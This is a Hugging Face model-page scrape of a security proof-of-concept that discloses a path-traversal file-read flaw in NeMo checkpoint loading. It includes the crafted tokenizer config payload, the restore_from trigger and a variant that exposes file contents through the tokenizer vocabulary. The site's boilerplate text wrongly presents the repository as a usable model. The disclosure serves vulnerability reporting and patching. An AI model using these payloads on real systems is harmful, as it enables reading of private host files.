Downloads · 30 days
8
24% of all-time downloads
asmit007/nemo-path-traversal-poc
nemo-path-traversal-poc is a machine learning model from asmit007. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for nemo. The card lists the license as apache-2.0.
This is a security proof-of-concept, not a real model. attacker.nemo is a minimal, benign-looking NeMo ASR checkpoint whose modelconfig.yaml contains a crafted tokenizer.modelpath artifact reference that escapes the a…
Downloads · 30 days
8
24% of all-time downloads
All-time downloads
34
Public
Repo size
—
Likes
0
Public
Click a slice to open those files.
.nemo10.2 KB · 58%
From the Hugging Face model README
.nemo Path Traversal / Arbitrary File Read (nemo: artifact paths)This is a security proof-of-concept, not a real model. attacker.nemo is a
minimal, benign-looking NeMo ASR checkpoint whose model_config.yaml contains a
crafted tokenizer.model_path artifact reference that escapes the archive
extraction directory using ../ traversal.
NVIDIA-NeMo/NeMo (main)nemo.core.connectors.save_restore_connector.SaveRestoreConnector.register_artifactmodel_config.yaml:
tokenizer:
type: bpe
model_path: "nemo:../../../../../../../../etc/passwd" # <-- traversal payload
The nemo: value is resolved by register_artifact as
os.path.abspath(os.path.join(app_state.nemo_file_folder, src[5:])) with no
../containment validation, so it resolves to /etc/passwd — outside the
per-restore extraction sandbox — and the tokenizer then opens it automatically.
from nemo.collections.asr.models import EncDecCTCBPEModel
EncDecCTCBPEModel.restore_from("attacker.nemo")
During construction, _setup_tokenizer calls
register_artifact('tokenizer.model_path', 'nemo:../../../../etc/passwd'), which
returns /etc/passwd, and SentencePieceTokenizer(model_path='/etc/passwd')
opens that out-of-sandbox file. (It then errors because /etc/passwd is not a
valid SentencePiece proto — the security-relevant event, opening a file outside
the archive, has already occurred.)
For clean content disclosure, swap in the WPE variant so the target file's lines are loaded into the tokenizer vocabulary:
tokenizer:
type: wpe
vocab_path: "nemo:../../../../etc/hostname"
→ readable via model.tokenizer.get_vocab().
restore_from — no escalation.is_safe_tar_member; the payload
is a config string, so it bypasses the tar-extraction hardening entirely.Full write-up and patch: see the linked Huntr report.